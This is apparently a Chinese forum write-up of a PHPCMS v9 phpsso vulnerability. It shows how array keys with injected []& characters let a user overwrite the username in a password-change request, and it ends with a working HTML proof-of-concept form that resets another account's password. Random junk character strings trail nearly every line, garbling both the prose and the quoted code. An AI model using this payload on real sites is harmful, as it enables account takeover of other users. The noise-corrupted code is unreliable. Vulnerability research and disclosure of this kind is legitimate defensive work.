提到的通行证的代码: }7 E2 s( s% F6 K/ a/ m# {: D) v
5 K( a0 Q, W3 `; x, e' ~. z* H! v- r1 B- ]5 R. \1 {; {( v
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
3 C3 g) G" F1 w2 M3 M9 O! l# {/ t: \; Y2 r: F% c! P, f" r( x
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。5 i' b/ f& E9 ~' r$ p# b
4 f* A- K5 V( h! n6 O/ S4 @+ N' `
我把它留给了你们。' F' T$ {: \6 U+ w0 |
不知道你们发现了它没有。6 ]/ G, T5 |! ?' S9 f. i7 Q8 V
% W" C+ B5 Z2 P+ f. U6 o我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
. P2 w$ ?$ Y! U, z& o5 u! j* B9 @( i$ H
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。+ A% S' P9 w t5 ~$ V3 L
) _% ^" R0 W, h2 e
也就是
: {& l( d- r5 I! K, n# `2 o4 {4 ^+ l& E) e4 G; C- b
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
; h6 y) \7 p- v! ?; s8 Z/ ?
. J" |1 {9 ]/ p9 x& \5 W要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。. s r# r) ?. @2 T( k2 V
) `1 d$ X0 u/ l( c+ S1 x j9 G' m2 z4 V1 |
其实我们有这样的机会,看看代码,如下:
@ n# d, @( U$ T: ]- r% J+ z2 R# x0 b
: L5 K: |1 {/ w! E) ]! l$ x
public function auth_data($data) {9 q0 p8 z5 ]$ u6 X6 m6 A A
$s = $sep = '';* g1 r4 \; I- L0 j
foreach($data as $k => $v) {
8 y) D9 H# _, _% t if(is_array($v)) {
% Q. I: S0 m. X+ [ $s2 = $sep2 = '';' A+ ]" `; K% y! a+ f6 x9 }1 A' P
foreach($v as $k2 => $v2) {
& j" G* d0 Z" Y; e+ y5 m D $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
) C' I; m H4 M' s $sep2 = '&';! e* f/ L/ P( B
}
% {) {1 h% r' V) `! c& ^2 E- ] $s .= $sep.$s2;
: f6 |0 N( r- _- M& B } else {; n7 A" ^9 N3 u% p" D1 V. d4 Q
$s .= "$sep$k=".$this->_ps_stripslashes($v);& {2 \# S. h1 c; b- g
}
- ~5 U0 l9 x$ f! ^9 { $sep = '&';+ H8 v7 P1 _' O6 G5 Q) K8 t8 @- A
}$ B) x5 ~/ [0 M. P, \! X; q
0 {# s- S+ M4 w, D+ w: K $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));. t& w2 u/ ?5 g5 D a. }
return $auth_s;
8 x( K7 S; @7 O* E5 @: f- l }
! |0 N7 z; X% u9 \% k1 h* E# a/ ^ ^0 z0 T/ }4 v7 @- v
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。( R) z! o+ O7 X& F# S
3 K' H% W; A" F/ R
举个例子
( _- K- Y! E% z9 ] ]
6 ^" Q2 b, H5 S9 p0 k$a[aaa=a&bbb] = 'a';: \+ ]9 D8 J1 g1 Y' i( x
. y) m K' g7 W- o+ |' F
会变成aaa=a&bbb=a
- O( \( j) z( b3 |8 w9 P5 H2 R' [+ ?
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
5 Z) n2 I$ j) ?- ~9 ~6 L3 Q8 r4 X' L, z: x/ ?* ?2 x3 k% I
这个时候,我们可以再去看一个函数。, p4 x8 W/ H: I8 ~' W& ^
' o5 G3 f+ M' j; v& ^& S
就在这个文件内:! m4 q. T. r" y. c7 a+ r6 `
9 l j5 @+ {( V4 u
( U# S B5 x* F1 Zpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
) U2 p$ Y6 f) n6 S% N if($email && !$this->_is_email($email)) {
& \6 Y4 Y* ?& B! J( V/ e% T return -4;$ t; k2 I* ]# u: r( J" |8 D
}2 i _8 S. ]% a2 s+ o# V4 d
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));. I" b& E" e0 {) @0 s
} p4 d( o/ p4 R3 l+ x! `4 R5 s
+ Z3 E: F" s7 n; a0 c. i! i这是向通行证发了这样一个请求。
( M/ S8 Q, [1 q. A
5 W9 s5 {) S2 Q我们再跟到通信证代码里去看看,就会有所发现。
* c" p1 L" ~# t1 q
1 Z+ f/ N, {/ w8 J% ~
0 A( f6 A2 Q+ @. m* Z5 b' ]public function edit() {
. C3 l& a) J0 z) s# V! N//能省就省,太长了不是吗?7 A% L3 X# P1 ?3 g7 i q
& Y$ k9 B, U8 ~ O- Xif($this->username) {
3 w: g7 {' O9 }% ]" _% n2 j//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
1 s2 c" W% t \: t3 A $res = $this->db->update($data, array('username'=>$this->username));
! u% J I" w1 ~3 |+ p3 v } else {
8 ~% I( \, s8 n! v' [# I3 ~ file_put_contents('typeb.txt',print_r($data,1).$this->uid);
6 ?) g" K) M( B% o" }3 F1 C2 H. Q+ r $res = $this->db->update($data, array('uid'=>$this->uid));; Q n. h! Y3 W! ~' T8 q3 ?
}# E- [% Z; E8 J: N( x: y' w+ a
* |1 n3 K; E3 o3 _* K5 S好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
5 o& |$ ^( C' |, M; B; P" g7 A& @! N e H/ j6 O
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random=''). R7 n0 F2 Z3 t% E/ K
, P! v- V8 Z: ~! q& N3 N很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
+ k, C, o9 r9 E+ M' E
, x% b0 p4 d" o( @2 J我当然找到了:
3 R+ u8 b2 \9 q; [* Vphpcms9/phpcms/modules/member/index.php
$ R' t/ d0 K; s( A% {: U. Z* N
! a. x+ t. I! E$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);/ q" b% ~+ g- s( I, r& |
% o. J/ p& u. h! ]
然后就没有然后了。
5 v) I9 K. M) j' ?$ U3 n% ]9 |# O; g6 X: C" Q3 y
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">8 |! F( h% h; {$ {$ J- T
<table width="100%" cellspacing="0" class="table_form">8 v/ y7 ^$ z& P7 G2 q. t/ M* q ?
<tr>
" N0 T; X! z, i; g1 D5 V <th width="80">邮箱:</th> . _6 E7 [. m" ?7 b, }4 H I1 D
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>/ n0 e7 K" L& m: W1 {: m5 E$ s3 Q
</tr>8 ~6 g1 t( e9 z9 S! B( ?5 I
<tr>
: B, @, _* {. a# E: @& i <th width="80">原密码:</th>
& ?8 p/ u. O, \ <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
0 Z- d |5 d' [, D% d </tr>- \0 E2 q6 k! }' h* o% v7 B' m
<tr>/ q% [. e1 H8 X
<th>新密码:</th>
! s* ~6 W/ b% k& a: Y <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
; ]% v4 j" n6 q: R9 q </tr>5 L l9 R0 h$ X9 m' q, |. x
<th></th>5 @- H3 {) |' Z9 X0 x! O9 S
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
% h: D7 r1 S+ j4 {& ~4 n. C/ l H </tr>8 O9 i" ^3 c# G. d; c& V5 O* Y
</table>4 E! D6 H: ^' l; N/ j
9 a% X+ Z: |' ~9 M
5 ]1 y- W+ f2 a9 j7 [* [ </form>+ v+ o; h# N; x9 r9 a. N
|